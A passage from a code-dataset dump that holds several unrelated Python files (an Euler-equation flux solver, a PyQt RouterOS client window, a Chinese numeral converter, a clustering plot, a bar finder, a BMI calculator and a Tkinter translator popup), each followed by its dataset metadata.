np.sqrt(np.sum(qdata**2, axis=0))\n\ndef _vecsqrmag(qdata):\n return np.sum(qdata**2, axis=0)\n\ndef _sca_mult_vec(r, v):\n return r*v # direct multiplication thanks to shape (:)*(2,:)\n\ndef _vec_dot_vec(v1, v2):\n return np.einsum('ij,ij->j', v1, v2) \n\ndef datavector(ux, uy, uz=None):\n return np.vstack([ux, uy]) if not uz else np.vstack([ux, uy, uz])\n\n# ===============================================================\n# implementation of MODEL class\n\nclass base(mbase.model):\n \"\"\"\n Class model for euler equations\n\n attributes:\n\n \"\"\"\n def __init__(self, gamma=1.4, source=None):\n mbase.model.__init__(self, name='euler', neq=3)\n self.islinear = 0\n self.shape = [1, 1, 1]\n self.gamma = gamma\n self.source = source\n \n def cons2prim(self, qdata): # qdata[ieq][cell] :\n \"\"\"\n >>> model().cons2prim([[5.], [10.], [20.]])\n True\n \"\"\"\n rho = qdata[0]\n u = qdata[1]/qdata[0]\n p = self.pressure(qdata)\n pdata = [ rho, u ,p ] \n return pdata \n\n def prim2cons(self, pdata): # qdata[ieq][cell] :\n \"\"\"\n >>> model().prim2cons([[2.], [4.], [10.]]) == [[2.], [8.], [41.]]\n True\n \"\"\"\n V2 = pdata[1]**2 if pdata[1].ndim==1 else _vecsqrmag(pdata[1])\n rhoe = pdata[2]/(self.gamma-1.) + .5*pdata[0]*V2\n return [ pdata[0], _sca_mult_vec(pdata[0], pdata[1]), rhoe ]\n\n def density(self, qdata):\n return qdata[0].copy()\n\n def pressure(self, qdata): # returns (gam-1)*( rho.et) - .5 * (rho.u)**2 / rho )\n return (self.gamma-1.0)*(qdata[2]-self.kinetic_energy(qdata))\n\n def velocity(self, qdata): # returns (rho u)/rho, works for both scalar and vector\n return qdata[1]/qdata[0]\n\n def velocitymag(self, qdata): # returns mag(rho u)/rho, depending if scalar or vector\n return np.abs(qdata[1])/qdata[0] if qdata[1].ndim==1 else _vecmag(qdata[1])/qdata[0]\n\n def kinetic_energy(self, qdata): \n \"\"\"volumic kinetic energy\"\"\"\n return .5*qdata[1]**2/qdata[0] if qdata[1].ndim==1 else .5*_vecsqrmag(qdata[1])/qdata[0]\n\n def mach(self, qdata):\n return qdata[1]/np.sqrt(self.gamma*((self.gamma-1.0)*(qdata[0]*qdata[2]-0.5*qdata[1]**2)))\n\n def entropy(self, qdata): # S/r\n return np.log(self.pressure(qdata)/qdata[0]**self.gamma)/(self.gamma-1.)\n\n def enthalpy(self, qdata): \n return (qdata[2]-0.5*qdata[1]**2/qdata[0])*self.gamma/qdata[0]\n\n def ptot(self, qdata):\n gm1 = self.gamma-1.\n return self.pressure(qdata)*(1.+.5*gm1*self.mach(qdata)**2)**(self.gamma/gm1)\n\n def htot(self, qdata):\n ec = 0.5*qdata[1]**2/qdata[0]\n return ((qdata[2]-ec)*self.gamma + ec)/qdata[0]\n\n def numflux(self, name, pdataL, pdataR, dir=None):\n if name==None: name='hllc'\n return (self._numfluxdict[name])(pdataL, pdataR, dir)\n\n def numflux_centeredflux(self, pdataL, pdataR, dir=None): # centered flux ; pL[ieq][face]\n gam = self.gamma\n gam1 = gam-1.\n\n rhoL = pdataL[0]\n uL = unL = pdataL[1]\n pL = pdataL[2]\n rhoR = pdataR[0]\n uR = unR = pdataR[1]\n pR = pdataR[2]\n\n cL2 = gam*pL/rhoL\n cR2 = gam*pR/rhoR\n HL = cL2/gam1 + 0.5*uL**2\n HR = cR2/gam1 + 0.5*uR**2\n\n # final flux\n Frho = .5*( rhoL*unL + rhoR*unR )\n Frhou = .5*( (rhoL*unL**2 + pL) + (rhoR*unR**2 + pR))\n FrhoE = .5*( (rhoL*unL*HL) + (rhoR*unR*HR))\n\n return [Frho, Frhou, FrhoE]\n\n def numflux_centeredmassflow(self, pdataL, pdataR, dir=None): # centered flux ; pL[ieq][face]\n gam = self.gamma\n gam1 = gam-1.\n\n rhoL = pdataL[0]\n uL = unL = pdataL[1]\n pL = pdataL[2]\n rhoR = pdataR[0]\n uR = unR = pdataR[1]\n pR = pdataR[2]\n\n cL2 = gam*pL/rhoL\n cR2 = gam*pR/rhoR\n HL = cL2/gam1 + 0.5*uL**2\n HR = cR2/gam1 + 0.5*uR**2\n\n # final flux\n Frho = .5*( rhoL*unL + rhoR*unR )\n Frhou = .5*( Frho*(unL+unR) + pL + pR)\n FrhoE = .5*Frho*( HL + HR)\n\n return [Frho, Frhou, FrhoE]\n\n\n def numflux_hlle(self, pdataL, pdataR, dir=None): # HLLE Riemann solver ; pL[ieq][face]\n\n gam = self.gamma\n gam1 = gam-1.\n\n rhoL = pdataL[0]\n uL = unL = pdataL[1]\n pL = pdataL[2]\n rhoR = pdataR[0]\n uR = unR = pdataR[1]\n pR = pdataR[2]\n\n cL2 = gam*pL/rhoL\n cR2 = gam*pR/rhoR\n HL = cL2/gam1 + 0.5*uL**2\n HR = cR2/gam1 + 0.5*uR**2\n\n # The HLLE Riemann solver\n \n # sorry for using little \"e\" here - is is not just internal energy\n eL = HL-pL/rhoL\n eR = HR-pR/rhoR\n\n # Roe's averaging\n Rrho = np.sqrt(rhoR/rhoL)\n #\n tmp = 1.0/(1.0+Rrho);\n velRoe = tmp*(uL + uR*Rrho)\n uRoe = tmp*(uL + uR*Rrho)\n hRoe = tmp*(HL + HR*Rrho)\n\n gamPdivRho = tmp*( (cL2+0.5*gam1*uL*uL) + (cR2+0.5*gam1*uR*uR)*Rrho )\n cRoe = np.sqrt(gamPdivRho - gam1*0.5*velRoe**2)\n\n # max HLL 2 waves \"velocities\"\n sL = np.minimum(0., np.minimum(uRoe-cRoe, unL-np.sqrt(cL2)))\n sR = np.maximum(0., np.maximum(uRoe+cRoe, unR+np.sqrt(cR2)))\n\n # final flux\n Frho = (sR*rhoL*unL - sL*rhoR*unR + sL*sR*(rhoR-rhoL))/(sR-sL)\n Frhou = (sR*(rhoL*unL**2 + pL) - sL*(rhoR*unR**2 + pR) + sL*sR*(rhoR*unR-rhoL*unL))/(sR-sL)\n FrhoE = (sR*(rhoL*unL*HL) - sL*(rhoR*unR*HR) + sL*sR*(rhoR*eR-rhoL*eL))/(sR-sL)\n\n return [Frho, Frhou, FrhoE]\n\n def numflux_hllc(self, pdataL, pdataR, dir=None): # HLLC Riemann solver ; pL[ieq][face]\n\n gam = self.gamma\n gam1 = gam-1.\n\n rhoL = pdataL[0]\n uL = unL = pdataL[1]\n pL = pdataL[2]\n rhoR = pdataR[0]\n uR = unR = pdataR[1]\n pR = pdataR[2]\n\n cL2 = gam*pL/rhoL\n cR2 = gam*pR/rhoR\n\n # the enthalpy is assumed to include ke ...!\n HL = cL2/gam1 + 0.5*uL**2\n HR = cR2/gam1 + 0.5*uR**2\n\n # The HLLC Riemann solver\n \n # sorry for using little \"e\" here - is is not just internal energy\n eL = HL-pL/rhoL\n eR = HR-pR/rhoR\n\n # Roe's averaging\n Rrho = np.sqrt(rhoR/rhoL)\n\n tmp = 1.0/(1.0+Rrho);\n velRoe = tmp*(uL + uR*Rrho)\n uRoe = tmp*(uL + uR*Rrho)\n hRoe = tmp*(HL + HR*Rrho)\n\n gamPdivRho = tmp*( (cL2+0.5*gam1*uL*uL) + (cR2+0.5*gam1*uR*uR)*Rrho )\n cRoe = np.sqrt(gamPdivRho - gam1*0.5*velRoe**2)\n\n # speed of sound at L and R\n sL = np.minimum(uRoe-cRoe, unL-np.sqrt(cL2))\n sR = np.maximum(uRoe+cRoe, unR+np.sqrt(cR2))\n\n # speed of contact surface\n sM = (pL-pR-rhoL*unL*(sL-unL)+rhoR*unR*(sR-unR))/(rhoR*(sR-unR)-rhoL*(sL-unL))\n\n # pressure at right and left (pR=pL) side of contact surface\n pStar = rhoR*(unR-sR)*(unR-sM)+pR\n\n # should not be computed if totally upwind\n SmoSSm = np.where(sM >= 0.,\n sM/(sL-sM),\n sM/(sR-sM))\n SmUoSSm = np.where(sM >= 0.,\n (sL-unL)/(sL-sM),\n (sR-unR)/(sR-sM))\n\n Frho = np.where(sM >= 0.,\n np.where(sL >= 0.,\n rhoL*unL,\n rhoL*sM*SmUoSSm),\n np.where(sR <= 0.,\n rhoR*unR,\n rhoR*sM*SmUoSSm))\n\n Frhou = np.where(sM >= 0.,\n np.where(sL >= 0.,\n Frho*uL+pL,\n Frho*uL + (pStar-pL)*SmoSSm + pStar),\n np.where(sR <= 0.,\n Frho*uR+pR,\n Frho*uR + (pStar-pR)*SmoSSm + pStar) )\n\n FrhoE = np.where(sM >= 0.,\n np.where(sL >= 0.,\n rhoL*HL*unL,\n Frho*eL + (pStar*sM-pL*unL)*SmoSSm + pStar*sM),\n np.where(sR <= 0.,\n rhoR*HR*unR,\n Frho*eR + (pStar*sM-pR*unR)*SmoSSm + pStar*sM))\n\n return [Frho, Frhou, FrhoE]\n\n def timestep(self, data, dx, condition):\n \"computation of timestep: data(=pdata) is not used, dx is an array of cell sizes, condition is the CFL number\"\n # dt = CFL * dx / ( |u| + c )\n # dt = np.zeros(len(dx)) #test use zeros instead\n #dt = condition*dx/ (data[1] + np.sqrt(self.gamma*data[2]/data[0]) )\n Vmag = self.velocitymag(data)\n dt = condition*dx / ( Vmag + np.sqrt(self.gamma*(self.gamma-1.0)*(data[2]/data[0]-0.5*Vmag**2) ))\n return dt\n\n\n# ===============================================================\n# implementation of euler 1D class\n\nclass euler1d(base):\n \"\"\"\n Class model for 2D euler equations\n \"\"\"\n def __init__(self, gamma=1.4, source=None):\n base.__init__(self, gamma=gamma, source=source)\n self.shape = [1, 1, 1]\n self._vardict = { 'pressure': self.pressure, 'density': self.density,\n 'velocity': self.velocity, 'mach': self.mach, 'enthalpy': self.enthalpy,\n 'entropy': self.entropy, 'ptot': self.ptot, 'htot': self.htot }\n self._bcdict.update({'sym': self.bc_sym,\n 'insub': self.bc_insub,\n 'insup': self.bc_insup,\n 'outsub': self.bc_outsub,\n 'outsup': self.bc_outsup })\n self._numfluxdict = { 'hllc': self.numflux_hllc, 'hlle': self.numflux_hlle, \n 'centered': self.numflux_centeredflux, 'centeredmassflow': self.numflux_centeredmassflow }\n\n def _derived_fromprim(self, pdata, dir):\n \"\"\"\n returns rho, un, V, c2, H\n 'dir' is ignored\n \"\"\"\n c2 = self.gamma * pdata[2] / pdata[0]\n H = c2/(self.gamma-1.) + .5*pdata[1]**2\n return pdata[0], pdata[1], pdata[1], c2, H\n\n def bc_sym(self, dir, data, param):\n \"symmetry boundary condition, for inviscid equations, it is equivalent to a wall, do not need user parameters\"\n return [ data[0], -data[1], data[2] ]\n\n def bc_insub(self, dir, data, param):\n g = self.gamma\n gmu = g-1.\n p = data[2]\n m2 = np.maximum(0., ((param['ptot']/p)**(gmu/g)-1.)*2./gmu)\n rh = param['ptot']/param['rttot']/(1.+.5*gmu*m2)**(1./gmu)\n return [ rh, -dir*np.sqrt(g*m2*p/rh), p ] \n\n def bc_insup(self, dir, data, param):\n # expected parameters are 'ptot', 'rttot' and 'p'\n g = self.gamma\n gmu = g-1.\n m2 = np.maximum(0., ((param['ptot']/param['p'])**(gmu/g)-1.)*2./gmu)\n rh = param['ptot']/param['rttot']/(1.+.5*gmu*m2)**(1./gmu)\n return param\n\n def bc_outsub(self, dir, data, param):\n return [ data[0], data[1], param['p'] ] \n\n def bc_outsup(self, dir, data, param):\n return data\n\nclass model(euler1d): # backward compatibility\n pass\n\n# ===============================================================\n# implementation of derived MODEL class\n\nclass nozzle(euler1d):\n \"\"\"\n Class nozzle for euler equations with section term -1/A dA/dx (rho u, rho u2, rho u Ht)\n\n attributes:\n\n \"\"\"\n def __init__(self, sectionlaw, gamma=1.4):\n euler1d.__init__(self, gamma=gamma, source=[ self.src_mass, self.src_mom, self.src_energy ])\n self.sectionlaw = sectionlaw\n \n def initdisc(self, mesh):\n self.geomterm = 1./self.sectionlaw(mesh.centers())* \\\n (self.sectionlaw(mesh.xf[1:mesh.ncell+1])-self.sectionlaw(mesh.xf[0:mesh.ncell])) / \\\n (mesh.xf[1:mesh.ncell+1]-mesh.xf[0:mesh.ncell])\n return \n\n def src_mass(self, x, qdata):\n return -self.geomterm * qdata[1]\n\n def src_mom(self, x, qdata):\n return -self.geomterm * qdata[1]**2/qdata[0]\n\n def src_energy(self, x, qdata):\n ec = 0.5*qdata[1]**2/qdata[0]\n return -self.geomterm * qdata[1] * ((qdata[2]-ec)*self.gamma + ec)/qdata[0]\n\n# ===============================================================\n# implementation of euler 2D class\n\nclass euler2d(base):\n \"\"\"\n Class model for 2D euler equations\n \"\"\"\n def __init__(self, gamma=1.4, source=None):\n base.__init__(self, gamma=gamma, source=source)\n self.shape = [1, 2, 1]\n self._vardict = { 'pressure': self.pressure, 'density': self.density,\n 'velocity': self.velocity, 'velocity_x': self.velocity_x, 'velocity_y': self.velocity_y,\n 'mach': self.mach, 'enthalpy': self.enthalpy,\n 'entropy': self.entropy, 'ptot': self.ptot, 'htot': self.htot }\n self._bcdict.update({ #'sym': self.bc_sym,\n # 'insub': self.bc_insub,\n # 'insup': self.bc_insup,\n # 'outsub': self.bc_outsub,\n # 'outsup': self.bc_outsup \n })\n self._numfluxdict = { #'hllc': self.numflux_hllc, 'hlle': self.numflux_hlle, \n 'centered': self.numflux_centeredflux }\n\n def _derived_fromprim(self, pdata, dir):\n \"\"\"\n returns rho, un, V, c2, H\n 'dir' is ignored\n \"\"\"\n c2 = self.gamma * pdata[2] / pdata[0]\n un = _vec_dot_vec(pdata[1], dir) \n H = c2/(self.gamma-1.) + .5*_vecmag(pdata[1])\n return pdata[0], un, pdata[1], pdata[2], H, c2\n\n def velocity_x(self, qdata): # returns (rho ux)/rho\n return qdata[1][0,:]/qdata[0]\n\n def velocity_y(self, qdata): # returns (rho uy)/rho\n return qdata[1][1,:]/qdata[0]\n\n def mach(self, qdata):\n rhoUmag = _vecmag(qdata[1])\n return rhoUmag/np.sqrt(self.gamma*((self.gamma-1.0)*(qdata[0]*qdata[2]-0.5*rhoUmag**2)))\n\n def numflux_centeredflux(self, pdataL, pdataR, dir): # centered flux ; pL[ieq][face]\n gam = self.gamma\n gam1 = gam-1.\n\n rhoL, unL, VL, pL, HL, cL2 = self._derived_fromprim(pdataL, dir)\n rhoR, unR, VR, pR, HR, cR2 = self._derived_fromprim(pdataR, dir)\n \n # final flux\n Frho = .5*( rhoL*unL + rhoR*unR )\n Frhou = .5*( (rhoL*unL)*VL + pL*dir + (rhoR*unR)*VR + pR*dir)\n FrhoE = .5*( (rhoL*unL*HL) + (rhoR*unR*HR))\n\n return [Frho, Frhou, FrhoE]\n\n# ===============================================================\n# automatic testing\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n\n","sub_path":"flowdyn/modelphy/euler.py","file_name":"euler.py","file_ext":"py","file_size_in_byte":15048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"578649685","text":"#!/usr/bin/env python \n#coding:utf-8\n\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\nimport utility\nfrom APIRos import ApiRos,TrafficApiRos\n\n\nfrom mainLeftControl import TWMainUiLeft\n# from mainBottomRightCtl import TWMainUiBottomRight\nfrom mainTopRightControl import TWMainUiTopRight\n\n\nclass TWMainUi(QMainWindow):\n\n\tdef __init__(self, loginControl,rosApi,sIp,sPort,sUser,sPwd):\n\t\tsuper(TWMainUi, self).__init__()\n\t\tself.loginControl = loginControl\n\t\tself.rosApi = rosApi\n\t\tself.sIp,self.sPort,self.sUser,self.sPwd = sIp,sPort,sUser,sPwd\n\t\tself.twInitUi()\n\t\tself.setWindowFlags(Qt.WindowMinimizeButtonHint) # PyQT禁止窗口最大化按钮:\n\t\tscreen = QDesktopWidget().screenGeometry()\n\t\tself.setFixedSize(screen.width(),screen.height()) # PyQT禁止调整窗口大小:\n\t\t# self.setFixedSize(self.width(), self.height()) # PyQT禁止调整窗口大小:\n\t\tself.setWindowTitle(self.tr(self.sIp + \":\" + self.sPort + \"|\" + self.sUser))\n\n\tdef twInitUi(self):\n\t\tvboxRoot = QVBoxLayout()\n\t\t#中间部分\n\t\thbox = QHBoxLayout()\n\t\t#中间 左边\n\t\tself.leftMainCtl = TWMainUiLeft(self, self.rosApi)\n\t\thbox.addWidget(self.leftMainCtl)\n\t\t#中间 右边\n\t\tvboxRight = QVBoxLayout()\n\n\t\trightTop = QWidget(self)\n\t\t# rightTop.setStyleSheet(\"QWidget{background-color:#F00}\")\n\t\tself.rightMid = TWMainUiTopRight(self, self.leftMainCtl, self.rosApi)\n\t\trightBottom = QWidget(self)\n\n\t\tvboxRight.addWidget(rightTop)\n\t\tvboxRight.addWidget(self.rightMid)\n\t\tvboxRight.addWidget(rightBottom)\n\n\t\tvboxRight.setStretchFactor(rightTop,1)\n\t\tvboxRight.setStretchFactor(self.rightMid,1)\n\t\tvboxRight.setStretchFactor(rightBottom,1)\n\n\t\t#底部\n\t\thbox.addLayout(vboxRight)\n\t\tvboxRoot.addLayout(hbox)\n\n\t\thbox.setStretchFactor(self.leftMainCtl, 1)\n\t\thbox.setStretchFactor(vboxRight, 4)\n\n\t\tvboxRoot.setStretchFactor(hbox, 97)\n\n\t\tw = QWidget(self)\n\t\tw.setStyleSheet(\"QWidget{background-color:#4ABDE0}\")\n\t\tw.setLayout(vboxRoot)\n\t\tself.setCentralWidget(w)\n\t\t# self.statusBar().showMessage(self.tr(self.sIp + \":\" + self.sPort + \"|\" + self.sUser))\n\t\tlogo=QWidget(self)\n\n\t\tscreen = QDesktopWidget().screenGeometry()\n\t\tiWidth = screen.width()\n\t\tif iWidth <=1024:\n\t\t\tlogo.setGeometry(0, 0, 256, 85)\n\t\telif iWidth <=1366:\n\t\t\tlogo.setGeometry(0, 0, 341, 113)\n\t\telif iWidth <= 1600:\n\t\t\tlogo.setGeometry(0, 0, 400, 133)\n\t\telse:\n\t\t\tlogo.setGeometry(0, 0, 400, 133)\n\t\ts = \"QWidget{background-image:url(./images/%s);background-repeat:no-repeat;background-position:center;}\"%utility.getBackGroundName()\n\t\tlogo.setStyleSheet(s)\n\n\t# def closeEvent(self, event):\n\t# \tif self.loginControl.removeMainUI(self):\n\t# \t\tevent.accept()\n\t# \t\t#子控件可在这里添加\n\t# \t\tself.rightMid.twHideAllChild()\n\t# \telse:\n\t# \t\tprint \"remove error\"\n\t\n\tdef show(self):\n\t\tutility.twHalfScreenSize(self) \n\t\tQWidget.show(self)\n\n\tdef setRightModel(self,twModel):\n\t\tself.rightMid.setRightModel(twModel)\n\n\tdef setRightTitle(self,sText):\n\t\tself.rightMid.twsetTitleInfo(sText)\n\n\tdef login(self):\n\t\tself.rosApi.setLoginParams(self.sIp,self.sPort,self.sUser,self.sPwd)\n\t\tself.rosApi.login()\n\t\tself.show()\n\n\tdef newTWTrafficApi(self):\n\t\tapiRos = TrafficApiRos()\n\t\tapiRos.setLoginParams(self.sIp,self.sPort,self.sUser,self.sPwd)\n\t\tapiRos.login()\n\t\treturn apiRos\n\n\tdef close(self):\n\t\tsuper(TWMainUi, self).close()\n\t\tself.rightMid.hide()\n\n","sub_path":"TWControl/mainControl.py","file_name":"mainControl.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"247946145","text":"def convert(num):\n if num == 0: return \"零\"\n digit2word = [\"零\", \"一\", \"二\", \"三\", \"四\", \"五\", \"六\", \"七\", \"八\", \"九\"]\n unit1 = [\"\", \"万\", \"亿\"]\n unit2 = [\"\", \"十\", \"百\", \"千\"]\n \n unit1_idx = 0\n ss = \"\"\n while num > 0:\n four_digit = [] # 个 十 百 千\n # 从右向左 每次取四位数\n for _ in range(4):\n if num == 0: break\n temp = num%10\n num = int(num/10)\n four_digit.append(temp)\n \n def convert_four(four_digit):\n result = \"\"\n for i in range(len(four_digit)):\n if result == \"\" and four_digit[i] == 0: continue #忽略零\n if result != \"\" and four_digit[i] == 0 and four_digit[i-1] == 0: continue #多个零相连,只读一个\n\n if i == 1 and four_digit[i] == 1 and i == len(four_digit) - 1:\n #十位的时候,如果是1,不读一十,而只读十,如11读十一而非一十一,但111又读成一百一十一,所以要看当前i是不是最大的一位\n result = unit2[i] + result\n elif four_digit[i] == 0: #0不要单位\n result = digit2word[four_digit[i]] + result\n else:\n result = digit2word[four_digit[i]] + unit2[i] + result\n return result\n \n #以四位为一组\n ss = convert_four(four_digit) + unit1[unit1_idx] + ss \n unit1_idx += 1\n\n return ss\n\nprint(convert(12001))\nfor i in range(99999):\n print(i)\n print(convert(i))\n","sub_path":"练习/数字转中文读音.py","file_name":"数字转中文读音.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"84985649","text":"import os\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport pylab\n\nfrom Method.LoadedPath import LoadedPath\nfrom Method.DataTransfer import DataTransfer\n\n\nclass Scatter2:\n\n def __init__(self):\n self.org_node = LoadedPath.get_org_node()\n self.latitude, self.longitude = DataTransfer.node_transform(self.org_node)\n\n def scatter2(self, data, num=0):\n plt.figure(figsize=(12, 8), dpi=100)\n plt.subplot(111)\n np.random.seed(19680801)\n random_color = np.random.rand(len(data), 3)\n for cluster, color in zip(data, random_color):\n longitude, latitude = [], []\n for e in cluster:\n longitude.append(self.longitude[int(e)])\n latitude.append(self.latitude[int(e)])\n if len(cluster) > 1:\n plt.scatter(latitude, longitude, marker='o', c=color)\n else:\n plt.scatter(latitude, longitude, marker='X', c='black', s=120)\n\n plt.title(str(num) + '_DBScan Scatter2', fontsize=12)\n plt.xlabel('x', fontsize=12)\n plt.ylabel('y', fontsize=12)\n\n rel_path = \"../data/easy_oldenburg/DBScan_scatter.png\"\n abs_path = os.path.join(os.path.dirname(__file__), rel_path)\n # plt.savefig(abs_path, dpi=300)\n plt.savefig('C:\\\\Users\\\\yuren\\\\Desktop\\\\DBScan\\\\Cluster\\\\' + str(num) + '_cluster.png')\n plt.show()\n","sub_path":"Graph/Scatter2.py","file_name":"Scatter2.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"470148849","text":"import json\nimport sys\nimport os\n\n\ndef load_from_json(filepath):\n with open(filepath, 'r') as file_handler:\n return json.load(file_handler)\n\n\ndef get_biggest_bar(bar_data):\n biggest_bar = max(bar_data['features'], key=lambda x:\n x['properties']['Attributes']['SeatsCount'])\n biggest_bar_seats = biggest_bar['properties']['Attributes']['SeatsCount']\n biggest_bar_data = [biggest_bar['properties']['Attributes']['Name'],\n biggest_bar['properties']['Attributes']['Address'],\n 'Мест:' + str(biggest_bar_seats)]\n return biggest_bar_data\n\n\ndef get_smallest_bar(bar_data):\n smallest_bar = min(bar_data['features'], key=lambda x:\n x['properties']['Attributes']['SeatsCount'])\n smallest_bar_seats = smallest_bar['properties']['Attributes']['SeatsCount']\n smallest_bar_data = [smallest_bar['properties']['Attributes']['Name'],\n smallest_bar['properties']['Attributes']['Address'],\n 'Мест:'+str(smallest_bar_seats)]\n return smallest_bar_data\n\n\ndef get_closest_bar(bar_data, longitude, latitude):\n closest_bar = min(bar_data['features'], key=lambda x:\n (x['geometry']['coordinates'][0] - longitude)**2 +\n (x['geometry']['coordinates'][1] - latitude)**2)\n closest_bar_seats = closest_bar['properties']['Attributes']['SeatsCount']\n closest_bar_data = [closest_bar['properties']['Attributes']['Name'],\n closest_bar['properties']['Attributes']['Address'],\n 'Мест:'+str(closest_bar_seats)]\n return closest_bar_data\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print('Error: define file path')\n print('Usage example: python pprint_json.py ')\n else:\n if os.path.isfile(sys.argv[1]):\n bar_data = load_from_json(sys.argv[1])\n longitude = float(input('Your longitude: '))\n latitude = float(input('Your latitude: '))\n biggest_bar = get_biggest_bar(bar_data)\n smallest_bar = get_smallest_bar(bar_data)\n closest_bar = get_closest_bar(bar_data, longitude, latitude)\n print('Biggest bar: \\n' + '\\n'.join(biggest_bar) + '\\n')\n print('Smallest bar: \\n' + '\\n'.join(smallest_bar) + '\\n')\n print('Closest bar: \\n' + '\\n'.join(closest_bar))\n\n else:\n print('Error: No such file in directory')\n","sub_path":"bars.py","file_name":"bars.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38723096","text":"from bs4 import BeautifulSoup # BeautifulSoup4 package\r\nfrom urllib.request import urlopen\r\nimport os\r\n\r\n# Grab the HTML from a web page just like we did\r\n# in the first example\r\nmy_address = \"http://www.example.com\"\r\nhtml_page = urlopen(my_address)\r\nhtml_text = html_page.read()\r\n\r\n# Pass the HTML to the BeautifulSoup constructor.\r\n# The second argument tells beautifulsoup which parser to use\r\nsoup = BeautifulSoup(html_text, \"lxml\")\r\n\r\nresult = soup.get_text()\r\ntext = os.linesep.join([s for s in result.splitlines() if s])\r\n\r\nprint(text)\r\n","sub_path":"beautiful_soup.py","file_name":"beautiful_soup.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619550011","text":"#Pedro Cortés Soberanes A01374919\n#Función: Calcular IMC y calcular estado\n\n#Calcular IMC\ndef calcularIMC (peso,estatura):\n imc = (peso)/((estatura)*(estatura))\n\n return imc\n\n#Calcular estado con base en el IMC\ndef calcularEstado (imc):\n if imc<18.5:\n x = (\"Bajo Peso\")\n if imc>=18.5 and imc<=25:\n x = (\"Peso Normal\")\n if imc>25:\n x = (\"Sobrepeso\")\n return x\n\n\ndef main():\n pesoKg = float(input(\"Teclea tu peso en kilogramos: \"))\n estaturaM = float(input(\"Teclea tu estatura en metros: \"))\n imc = calcularIMC(pesoKg,estaturaM)\n print(\" -Tu IMC es de: %.2f \" % imc)\n estado = calcularEstado(imc)\n print(\" -Tu estado es de: \" ,estado)\n\n\nmain()","sub_path":"IMC.py","file_name":"IMC.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"197092100","text":"from tkinter import Tk, Scrollbar, Text, VERTICAL, RIGHT, LEFT, BOTH, END, Y, FLAT, DISABLED, WORD\nfrom tkinter.font import Font\nimport keyboard\n\nfrom conf import Conf\n\nPOPUP_MAX_WIDTH = 700\nPOPUP_MAX_HEIGHT = 400\nPADDING = 20\n\nclass Popup:\n def __init__(self, org_text, translated_text, is_uicontrol_label):\n self.org_text = org_text\n self.translated_text = translated_text\n self.is_uicontrol_label = is_uicontrol_label\n self.displayed_text = ''\n self.conf = Conf.get_instance()\n self.popup = None\n self.text_widget = None\n self.font = None\n\n def show(self):\n self.__create_popup_window()\n self.__create_font_widget()\n self.__create_text_widget()\n self.__set_popup_size_and_pos()\n self.__set_evenbinding()\n self.__set_focus()\n\n self.popup.mainloop()\n\n def __create_popup_window(self):\n # Create a popup (= the root/master window) and set its properties\n self.popup = Tk()\n self.popup.title('Popup Translator')\n self.popup.attributes('-topmost', True) # Always on top\n self.popup.attributes('-toolwindow', True) # No icon on taskbar, no icon on menu, no min button, no max button\n self.popup.configure(bg=self.conf.get_popup_bkcolor())\n\n # Scrollbar\n vbar = Scrollbar(self.popup, orient=VERTICAL)\n vbar.pack(side=RIGHT, fill=Y)\n # FIXME: Scrollbar works with mouse wheel, but doesn't work with mouse click\n # Note: We don't need a horizontial scrollbar because out-of-width text is automatically wrapped\n # hbar = Scrollbar(self.popup, orient=HORIZONTAL)\n # hbar.pack(side=BOTTOM, fill=X)\n\n def __create_text_widget(self):\n # Choose text to display on popup\n if self.is_uicontrol_label:\n self.displayed_text = self.org_text + '\\n' + '===\\n' + self.translated_text\n else:\n self.displayed_text = self.translated_text\n\n # Add text to popup\n self.text_widget = Text(self.popup)\n self.text_widget.insert(END, self.displayed_text)\n self.text_widget.pack(side=LEFT, fill=BOTH, expand=True)\n self.text_widget.configure(bg=self.popup.cget('bg'), relief=FLAT, state=DISABLED, font=self.font, wrap=WORD)\n\n def __create_font_widget(self):\n self.font = Font(root=self.popup, family=self.conf.get_font(), size=self.conf.get_fontsize())\n\n def __set_popup_size_and_pos(self):\n ''' Set size and position for the popup\n Details:\n - Popup size fits the text size (both horizonal and vertical side),\n but the text size cannot exceed POPUP_MAX_WIDTH or POPUP_MAX_HEIGHT\n - Popup position is at the cursor position\n '''\n ###### Size #####\n # Warning: Cannot measure(self.displayed_text) because the measure() method considers multiple lines as one line, making the width in pixels too wrong\n text_width_in_pixels = 0\n if not self.is_uicontrol_label:\n text_width_in_pixels = self.font.measure(self.translated_text)\n else:\n translated_text_width = self.font.measure(self.translated_text)\n org_text_width = self.font.measure(self.org_text)\n text_width_in_pixels = translated_text_width if translated_text_width > org_text_width else org_text_width\n\n popup_width = 0\n if text_width_in_pixels < POPUP_MAX_WIDTH: # Warning: pixels of text width and of popup width are slightly different even when the same length. Cannot know why ??\n # Therefore, popup size does not fit the text size exactly, just acceptable in most cases\n popup_width = text_width_in_pixels + PADDING*2\n else:\n popup_width = POPUP_MAX_WIDTH + PADDING\n\n line_sum = text_width_in_pixels/POPUP_MAX_WIDTH\n popup_height = line_sum*self.font.metrics(\"linespace\") + PADDING\n if (line_sum) < 1:\n line_sum = 1\n\n # For UI control label, we have to display both orginal text and translated text (plus a separate line at between),\n # we have to triple the height of popup\n if self.is_uicontrol_label:\n popup_height = 3*popup_height\n\n if popup_height > POPUP_MAX_HEIGHT:\n popup_height = POPUP_MAX_HEIGHT + PADDING\n\n ###### Position ######\n cursor_pos_x, cursor_pos_y = self.popup.winfo_pointerxy()\n\n ###### It's time to set popup size and position #######\n 